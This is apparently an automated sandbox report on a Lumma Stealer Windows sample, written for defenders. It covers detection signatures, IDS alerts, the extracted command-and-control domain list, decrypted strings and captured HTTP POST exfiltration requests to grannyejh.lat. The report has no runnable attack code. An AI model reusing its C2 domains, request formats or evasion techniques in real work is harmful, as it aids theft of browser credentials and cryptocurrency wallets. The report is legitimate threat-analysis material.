Edit tour

Windows Analysis Report
S6oj0LoSiL.exe

Overview

General Information

Sample name:	S6oj0LoSiL.exe renamed because original name is a hash value
Original sample name:	3dc730302dc71232ee3bb36dc669f3ae.exe
Analysis ID:	1578057
MD5:	3dc730302dc71232ee3bb36dc669f3ae
SHA1:	268717a1d24ef6be6b40b16f9e7f731ae7205083
SHA256:	570ee6ea154dc3da02a3e52122c89a504fdea8b8b622a5e13848804af7486b84
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Detected potential crypto function

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

S6oj0LoSiL.exe (PID: 3200 cmdline: "C:\Users\user\Desktop\S6oj0LoSiL.exe" MD5: 3DC730302DC71232EE3BB36DC669F3AE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["grannyejh.lat", "sweepyribs.lat", "necklacebudi.lat", "energyaffai.lat", "discokeyus.lat", "rapeflowwj.lat", "sustainskelet.lat", "crosshuaht.lat", "aspecteirs.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1492688223.000000000050E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1492917579.000000000050F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: S6oj0LoSiL.exe PID: 3200	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: S6oj0LoSiL.exe PID: 3200	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:21:06.245125+0100	2028371	3	Unknown Traffic	192.168.2.9	49716	104.21.64.80	443	TCP
2024-12-19T08:21:08.290239+0100	2028371	3	Unknown Traffic	192.168.2.9	49721	104.21.64.80	443	TCP
2024-12-19T08:21:10.772589+0100	2028371	3	Unknown Traffic	192.168.2.9	49727	104.21.64.80	443	TCP
2024-12-19T08:21:13.048222+0100	2028371	3	Unknown Traffic	192.168.2.9	49733	104.21.64.80	443	TCP
2024-12-19T08:21:15.321012+0100	2028371	3	Unknown Traffic	192.168.2.9	49738	104.21.64.80	443	TCP
2024-12-19T08:21:18.190489+0100	2028371	3	Unknown Traffic	192.168.2.9	49745	104.21.64.80	443	TCP
2024-12-19T08:21:20.541800+0100	2028371	3	Unknown Traffic	192.168.2.9	49752	104.21.64.80	443	TCP
2024-12-19T08:21:24.578365+0100	2028371	3	Unknown Traffic	192.168.2.9	49763	104.21.64.80	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:21:07.053160+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49716	104.21.64.80	443	TCP
2024-12-19T08:21:09.125980+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49721	104.21.64.80	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:21:07.053160+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49716	104.21.64.80	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:21:09.125980+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49721	104.21.64.80	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:21:06.245125+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.9	49716	104.21.64.80	443	TCP
2024-12-19T08:21:08.290239+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.9	49721	104.21.64.80	443	TCP
2024-12-19T08:21:10.772589+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.9	49727	104.21.64.80	443	TCP
2024-12-19T08:21:13.048222+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.9	49733	104.21.64.80	443	TCP
2024-12-19T08:21:15.321012+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.9	49738	104.21.64.80	443	TCP
2024-12-19T08:21:18.190489+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.9	49745	104.21.64.80	443	TCP
2024-12-19T08:21:20.541800+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.9	49752	104.21.64.80	443	TCP
2024-12-19T08:21:24.578365+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.9	49763	104.21.64.80	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:21:04.801320+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.9	63026	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:21:04.657656+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.9	54125	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:21:11.693012+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49727	104.21.64.80	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:21:20.625291+0100	2843864	1	A Network Trojan was detected	192.168.2.9	49752	104.21.64.80	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: S6oj0LoSiL.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://grannyejh.lat/apig	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/5X	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apiT	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/7	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/eR	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/)	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/zX	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/%%	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apigsz	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apigs	Avira URL Cloud: Label: malware

Found malware configuration

Source: S6oj0LoSiL.exe.3200.1.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["grannyejh.lat", "sweepyribs.lat", "necklacebudi.lat", "energyaffai.lat", "discokeyus.lat", "rapeflowwj.lat", "sustainskelet.lat", "crosshuaht.lat", "aspecteirs.lat"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: S6oj0LoSiL.exe	Virustotal: Detection: 56%			Perma Link
Source: S6oj0LoSiL.exe	ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: S6oj0LoSiL.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rapeflowwj.lat
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crosshuaht.lat
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: sustainskelet.lat
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: aspecteirs.lat
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: energyaffai.lat
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacebudi.lat
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: discokeyus.lat
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: grannyejh.lat
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: sweepyribs.lat
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String decryptor: PsFKDg--pablo

Source: S6oj0LoSiL.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49752 version: TLS 1.2

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.9:63026 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.9:49763 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.9:49745 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.9:54125 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.9:49721 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.9:49716 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.9:49727 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.9:49733 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.9:49738 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.9:49752 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49721 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49721 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49716 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49716 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.9:49752 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49727 -> 104.21.64.80:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat

Source: Joe Sandbox View

IP Address: 104.21.64.80 104.21.64.80

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49763 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49745 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49716 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49727 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49733 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49721 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49738 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49752 -> 104.21.64.80:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=K7C5IWLIK4YT40KLE9LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12851Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XTWS43UB16User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15015Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=J80VH9VVXVUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20537Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2VPDZPEFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1185Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=C23ZC4GFSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 584584Host: grannyejh.lat

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat

Source: S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: S6oj0LoSiL.exe, 00000001.00000003.1417319273.000000000050E000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1570016603.0000000000557000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554743613.000000000050F000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529979913.000000000050E000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1492917579.000000000050F000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1492688223.000000000050E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta
Source: S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: S6oj0LoSiL.exe, S6oj0LoSiL.exe, 00000001.00000003.1512785213.000000000056A000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000002.1572106028.000000000056C000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554662041.000000000056A000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1530569963.0000000000566000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1417319273.00000000004E3000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529928299.0000000000566000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1493251592.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1441099795.000000000536A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1512840767.000000000537C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
